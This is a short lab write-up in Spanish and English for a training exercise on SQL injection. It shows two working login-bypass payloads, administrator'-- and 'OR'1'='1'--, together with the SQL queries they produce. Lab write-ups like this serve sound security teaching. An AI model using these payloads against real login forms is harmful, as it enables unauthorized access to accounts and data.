02 Lab: SQL injection vulnerability allowing login bypass

Objetivo

This lab contains a SQL injection vulnerability in the login function.

To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

Solución

  1. Modificamos el campo usuario utilizando el valor administrator'-- De esta manera podremos acceder al panel de administración

SELECT * FROM USERS WHERE username = '$user' and password = '$password'
$usuario = "administrator'-- "
SELECT * FROM USERS WHERE username = 'administrator'--' and password = '$password'
image.png

Alternativa

  1. Cambiamos los parámetros usuario y contraseña con los campos administrator y 'OR'1'='1'--

$usuario = "administrator"
$contraseña = "'OR'1'='1'--"
SELECT * FROM USERS WHERE username = 'administrator' and password = '' OR '1'='1'--

Last updated